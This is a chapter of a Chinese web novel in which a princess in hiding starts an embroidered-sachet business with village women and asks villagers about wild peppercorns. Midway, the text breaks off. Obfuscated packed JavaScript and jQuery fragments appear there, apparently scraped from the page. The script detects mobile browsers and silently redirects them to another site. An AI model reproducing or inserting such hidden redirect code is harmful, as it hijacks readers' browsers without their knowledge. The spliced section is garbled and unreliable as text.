“娘子请讲,在下洗耳恭听。”掌柜见识多了各色人等,沈宁风这样的,感觉很有搞头。
“掌柜的是见过世面的,那你看看我手上的这条腰带,这绣活若是在香囊上,再灌装上山野里的香叶草木,能否卖上二十文?”说着,沈宁风递过去了一条带子。这带子并非丝帛锦绣,而是普普通通的棉布制成,但面上的刺绣却是奇异至极,绚烂夺目。
对,就是“奇异“。这刺绣的图案并非栩栩如生,而是独具风格。如果非要用一个词来形容,那就是——拙扑。色彩明丽的棉线勾勒出了小秦山里才有的花草猛兽、炊烟人家、乡村顽童、农耕日常……一幕幕山野闲趣跃然眼前,让乡野的人看了思家,城里的人看了向往。
这根腰带是桂容婶儿送给沈宁风的结婚礼物。她本是为阿良出嫁准备的。崔家村的女儿无论走多远,都会带着这样一份独一无二的故乡风物。
“我还没见过这种绣图的……确实有趣,很特别,辅以山间独特的香味,必定别出心裁。”掌柜的答道。
“那我做一百个这样的香囊,放在掌柜的店里卖,每个卖二十文,每卖出一个,便给掌柜的抽三文,如何?”沈宁风提议。
“嗯……”掌柜的摸着下巴,思考起来。
“掌柜的店里也卖许多的香囊,我的加进来,不仅丰富了样式选择,卖不出去你不担风险,卖出去了你白得三文,若是后面卖得好,我也是会找你买更多的素面香囊,怎么算来,掌柜的都是不亏的。”沈宁风似乎对卖出去这些香囊很有信心,她自信的样子让人无法怀疑。
“那好。娘子看起来也是很有想法的人,我就信你一回。只是我加个条件,一百个香囊,若是三个月还未卖出去,那就请你自己取回,如何?”
“没问题。那咱们就这样说定了。”
“敢问娘子尊姓大名?”
“姓沈,沈清泉。”
也不管阿野吃惊的表情——说实话,他今天已经吃惊太多次,跟在沈宁风的身后,活像一个傻子——沈宁风拿了香囊,又买了丝线,便跳上了驴车,准备去找个客栈住。
路过县衙门口,沈宁风突发奇想,想去看看县衙的公告栏。县衙的公告栏会张贴寻人启事、通缉令、官府告示等等,沈宁风想看一看,有没有关于峻宁公主失踪的什么通告。
在公告栏翻阅了好久,沈宁风什么也没发现。别说搜寻峻宁公主的告示,通报匪徒的只字片语都没有。
劫案就发生在小秦山外不远,此地却是一点消息也没有。沈宁风不禁想,这件事,最后会是怎么处理的呢?大公主失踪,皇宫里还能瞒下来不成?不过这样更好,我清净的乡野日子正要好起来,脱去了皇家公主的身份,我反而活得自在。
“你找什么呢?”阿野看着沈宁风一顿翻找,不禁问道。
“看看我大伯家,有没有被官府抓了啊?没翻到,定是还逍遥着呢!”沈宁风嘴一撇,装作很气愤的样子。
“若他们被抓了,你会回去吗?那个荣灿,是你的未婚夫吗?”
阿野今日经历的震撼实在太多,他又像回到了第一次发现沈宁风会识字时候的心态——她与他是如此地不同,纵使二人已经坦诚相见,他觉得他永远也无法走到她的身边,与她并肩。
沈宁风惊得捂住了嘴,结结巴巴,道:“你、你怎么知道这个名字?!”
“就你那日喝酒说的……”阿野垂了眼,既想她回答,又怕她回答。
“这样啊……”沈宁风面上浮出愤恨,“我说什么了你会觉得他是我未婚夫?他是我仇人,以后都别提这个名字,晦气!”
看沈宁风的样子不像装的,阿野略微轻松了一点。
沈宁风看出了阿野的疑虑,一把抄了他的手,道:“想什么呢,我已经和你成了亲,再来十个八个未婚夫也是没用的。走吧,咱找个店吃饭歇脚去!”
她朝他眨了眨眼睛,晃了晃他的手臂,甜腻腻的,俨然还是新婚小妻子的模样。
……
沈宁风带着一百个素面香囊回到了崔家村。她带着几个样品来到桂容家,对桂容说道:“婶儿,我给你说件事呗?”
“说啥呢姑娘,咋这样见外哩?”桂容如往常一般抱着她的针线篮子,坐在檐前干活。阿良今日上进,在墙壁上用木炭练字呢。见沈宁风过来,阿良兴奋地喊道:“小风姐姐,看看我的字,有没有长进?”
沈宁风夸了阿良几句,说长进大了,等会儿要送她一套纸笔。阿良兴奋得,又捡了几块没烧过的木炭,哗啦啦一阵写。
沈宁风递过去素面囊袋给桂容,正经地说:“婶儿,我看你送我的那腰带,还有村里人送我的刺绣枕套,就看出来了咱崔家村的女红别具一格,我想着,请你和村里的大婶大娘们帮我绣些香囊,我付钱的,我付八文钱一个,你帮我传传话,吆喝吆喝呗。”
“还有这种好事?咱这点儿手艺,还能赚钱?姑娘,你不是拿婶儿打趣吧?”桂容惊讶极了,从没想到这点子从小干到大的活还能折成现钱。
“婶儿不信我吗?八文一个,要绣得能送人那般好,干干净净的,都绣嫁女儿的那些花样,八天绣完,我有一百个,先到先的,如何?”
桂容拿着香囊仔细看了一遭,道:“就这小小的香囊?现在田里不忙了,一天我可以绣俩。那咱也不要太贪心,你给我留十个吧,剩下的,保管我消息一放出去,眨眼就没了……”
沈宁风回屋取了香囊和丝线来,对桂容道:“丝线没用完就归你,这是四十文定金,绣完了我再付另一半,绣完一个就结一个的钱。”桂容欢天喜地地接了,也不做活了,飞哒哒地去了平日里关系好的李婶儿家。
不出半日,沈宁风手里的一百个香囊就已经分发出去。后面还有好些婆妇们来问,得知没活了,都沮丧得很呢。
沈宁风便让此次没拿到的妇女们登了名字,承诺日后有活就优先派给她们。婆妇们总算开怀了一些,连连说了沈宁风的好话,让她一定不要忘了她们。
三四日后,沈宁风收回了一批绣好的成品香囊。她一个一个地查看了,有几个灰扑扑、染了污迹的,她挑了出来,道:“我说要的是‘能送人’的品质,这样儿的,我想婶儿也拿不出手送人的吧?所以,我不能付剩下的四文钱。但我知道婶儿费了很多心,所以这次我就付三文,不过下次,就不收了。”
那老嫂子先是听得不付钱,顿时慌了神,而后听得付三文,便感激涕零,连连应诺,说剩下的一定弄得干干净净,这才领着钱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309864|198781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走了。
这一批的香囊,虽然出自不同人之手,每一个针脚走线风格都略有不同,可崔家村的独有风情展现得淋漓尽致。崔家村的女人尤其地钟爱撞色搭配——蓝与黄、橙与灰、藏蓝与粉色……夺目色彩织成循环往复的图形,框住一幅幅崔家村农耕、庆典、和日常的图卷。
沈宁风提供的上好丝线光泽熠熠,而妇人们不仅有巧手,还有巧思。她们有的用棉线点缀了画面,有的缀了采集的草珠子,层次丰富的纹理效果让颇具乡土气息的画面更加地生动有趣。
“乡土拙趣,我父皇最是喜爱……”
沈宁风把玩着这一个个的香囊,突然想起了自己的父亲仁武皇帝。小的时候,皇帝经常带沈宁风去太傅的小院里,帮老态龙钟的太傅翻地,种菜,除草……
这辈子,我还能再见到他吗?
沈宁风将贴身带着的佛珠连同璎珞一起放进了那个灰扑扑的香囊中。她捏了一捏,想着这一切究竟是不是幻梦。
“这些叶子,小风你来看看,是不是你想要的?”沈宁风的思绪被气喘吁吁的阿野打断。阿野从山上回来,带回来了一大背篓野草树叶。
沈宁风拉开麻袋一看,是满满一袋的松针,清香宜人。背篓里还有艾草、佩兰、薄荷等各色山间香草。她叫阿野放在干燥通风处晾了,准备过几日再加上桂花和陈皮,将这些独特的小秦山风物呈现在世人面前。
与香料店老板约定交货的时间就要到了,考虑到这次阿野会带回来很多银钱,而沈宁风又不会同行,她便出钱雇了阿真和春平叔给阿野壮胆,三人一起去县城里交丹椒。
阿野走后,沈宁风去到村里找到了长老安大爷,她对安大爷说,自己有一个赚钱的法子,想要无偿分享给村民们,希望安大爷能够召集村民,两日后将在学堂里进行解释。
安大爷对沈宁风是深信不疑,他甚至没有提前问一问她的好法子是什么就满口答应了下来。
到了约定的时间,村民们三三两两都往学堂走去,其中不乏好奇之人对今日沈宁风要做的事窃窃私语。
“我家婆娘在表小姐那儿赚到八十文,就那绣花的玩意儿。你说她要说的是不是就是这事?那安大爷叫我们男人家过来有啥用哩?”
“别急嘛,看看她要说啥。我家二狗说先生最近给他们发了纸笔,不用泥板子写字了,她可能是有了意外之财吧?”
“是不是哟?那崔十郎闺女的事也是她解决的,听说给了一锭银子呢?她不是落难的小姐么,怎么突然有钱了,还这么舍得?”
“看不懂啊!未必这个世界上还真的有啥都不图,给人送钱的人?我不信哟!”
“咱还是多个心眼,对她说的话不要全信,稳着点吧,咱不图意外之财,踏踏实实地就好。”
“……”
见人到得差不多了,原本坐在台前的沈宁风走了下来,清了清嗓子,对众人说道:
“今日我请大家过来,是有一件事想请大家帮忙。咱们很多村民,对山里的东西都见多识广的。我想请你们看一看,你们是否见过采过此种野果子?若你手里有、或是能采到,我愿出钱收购。”
说罢,沈宁风便展开了手帕里包着的一把丹椒,向前排的村民递过去。